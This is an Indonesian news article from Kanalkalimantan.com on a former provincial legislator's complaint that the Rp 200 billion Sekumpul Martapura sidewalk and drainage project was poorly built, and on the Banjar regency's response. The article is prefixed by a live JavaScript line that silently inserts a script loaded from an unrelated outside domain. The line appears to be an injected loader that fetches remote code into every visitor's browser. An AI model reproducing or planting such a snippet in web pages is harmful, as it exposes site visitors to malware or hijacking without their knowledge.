(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Proyek revitalisasi kawasan Sekumpul Martapura yang viral disebut dikerjakan asal-asalan masih dalam tahap perawatan dan terus dipantau oleh Pemerintah Kabupaten (Pemkab) Banjar.
Saat ini masih menjadi tanggung jawab pihak Balai Prasarana Permukiman Wilayah (BPPW) Kalimantan Selatan (Kalsel) Direktorat Jenderal Cipta Karya Kementerian Pekerjaan Umum dan Perumahan Rakyat.
Hal tersebut ditegaskan Asisten Bidang Perekonomian dan Pembangunan Pemkab Banjar, Ikhwansyah.
Baca juga: Penyelundupan 31 Kg Sabu dari Malaysia, Lima Tersangka Dibekuk Tim Gabungan
Menurut Ikhwansyah, Pemkab Banjar telah menyurati pihak BPPW Kalsel Direktorat Jenderal Pekerjaan Umum Kementerian PUPR, agar penataan kawasan Sekumpul segala kekurangan untuk segera dilakukan perbaikan oleh kontraktor.
Pihak kontraktor wajib bertanggung jawab kepada Pemkab Banjar, jika ada ditemukan kerusakan sebelum kawasan penataan Sekumpul dihibahkan kepada Pemkab Banjar.
“Pemkab Banjar sudah merapatkan dengan tim sesuai dengan surat dari kami, dengan berkas PU/521/administrasi pembangunan/ 09 Mei 2022, pihak pelaksana juga sudah berkomitmen melakukan perbaikan, kemudian telah dilaksanakan rapat pada 31 Mei 2022 terkait kerusakan yang ada di proyek itu,” ungkap Ikhwansyah.
Ikhwansyah memaparkan, terkait pemeliharaan oleh pihak pelaksana sesuai jadwal adalah sampai September 2022, sebelum proses hibah maka tim dari Pemkab Banjar akan melakukan pengecekan ke lapangan terlebih dahulu. Jika proyek ini hasilnya nanti sesuai dengan perencanaan, baru setelahnya dipertimbangkan pelaksanaan hibah tersebut.
“Kita sama-sama menjaga perawatan di pengerjaan ini agar berjalan lancar, karena peran bersama di sini sangat penting, kontraktor tetap bertanggung jawab dan dari pemerintah daerah memberikan pemahaman kepada masyarakat,” tandas Ikhwansyah.
Proyek Revitalisasi Kawasan Sekumpul Dikerjakan Asal-asalan
Sebelumnya, mantan Anggota DPRD Kalsel, Anang Rosadi angkat bicara soal pembangunan proyek revitaliasi kawasan Sekumpul Martapura. Dirinya menilai pembangunan pedestiran di sepanjang jalan Sekumpul segmen 1 itu cacat secara prosedural, bahkan disebutnya dikerjakan asal-asalan.
Baca juga: Sejarah Hari Laut Sedunia
Protes Anang Rosadi dalam video berdurasi 02:20 diunggah di media sosial TikTok miliknya, dengan caption “Kesedihan yang mendalam, pengerjaan proyek Sekumpul dengan nilai ratusan miliar dilaksanakan asal-asalan dan terindikasi tidak sesuai spesifikasi”, Senin (6/6/2022).
Dalam video pendek itu, Anang Rosadi terlihat berada di lokasi trotoar jalan Sekumpul dengan langsung memperlihatkan kondisi pedestiran tersebut. Dirinya mengungkapkan kekecewaan sekaligus kegeramannya.
“Lihat lah, ini pekerjaan yang baru dilakukan hanya baru beberapa bulan, terlihat ini (semen dan batu) sama sekali hanya ditaruh biasa seperti ini,” ucap anggota DPRD Kalsel periode 2004-2009 ini dalam video protesnya.
Sekadar diketahui, proyek revitaliasi pembangunan trotoar dan saluran drainase di jalan Sekumpul itu bernilai Rp 200 miliar. Namun, hingga pembangunan saat ini dengan anggaran mencapai Rp 38 miliar, Anang Rosadi mengatakan kualitas pembangunan sangat tidak baik.
“Bagaimana bagian ini hanya ditempel biasa seperti dengan lem dan lihat lah sambungannya juga sangat tidak bagus, juga kemiringannnya,” ujarnya.
Dirinya mempertanyakan jika tujuan dan maksud pembangunan pedestiran tersebut adalah mempermudah pejalan kaki penyandang disabilitas, kenapa hanya ditempel menggunakan lem saja yang jika terkena hujan dan panas akan lepas.
“Harusnya mereka tau ketika misalnya cuaca panas kemudian ada hujan ini, tidak boleh dilakukan hal-hal seperti ini, ini harus pemasangan yang betul-betul permanen sifatnya,” ungkap pria kelahiran 19 September 1962 ini.
Anang Rosadi menyangkan pembangunan pedestiran tersebut menyisakan masalah estetika kota dan kenyamanan bagi pengguna jalan. Dia menyatakan seharusnya pemerintah betul-betul mengoreksi dengan baik.
Sekadar untuk diketahui, revitalisasi kawasan Sekumpul tahap 1 sudah selesai, tinggal pengerjaan tahap 2 dan tahap 3 hingga ke jalan Sekumpul ujung, Kecamatan Martapura, Kabupaten Banjar, Kalimantan Selatan.
Pengerjaan revitalisasi kawasan Sekumpul tahap pertama mulai dikerjakan pada pertengahan tahun 2021 kemarin dengan batas pengerjaan 4 Desember 2021, sempat molor dalam pengerjaan dan baru selesai pada Maret 2022 kemarin.
Baca juga: Program “Merdeka Sampah” DLH Kalsel di Tiga Daerah
Proyek revitaliasi kawasan Sekumpul ini dibiayai dari dana APBN selama tiga tahun dari Ditjen Cipta Karya Kementerian PUPR melalui Balai Prasarana Permukiman Wilayah Kalsel.
Tahap pertama digelontorkan dana sebesar Rp 30,5 miliar lebih bersumber dari APBN 2021 untuk revitaliasi kawasan Sekumpul Martapura digarap oleh PT Cahaya Sriwijaya Abadi asal Palembang.
Proyek milik Kementerian Pekerjaan Umum dan Perumahan Rakyat ini, juga dibarengi dengan proyek konsultan pengawas senilai Rp 1,19 miliar lebih dimenangkan PT Tema Karya Mandiri asal Palangkaraya. Data ini terekam dalam LPSE Kementerian PUPR. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
This website uses cookies.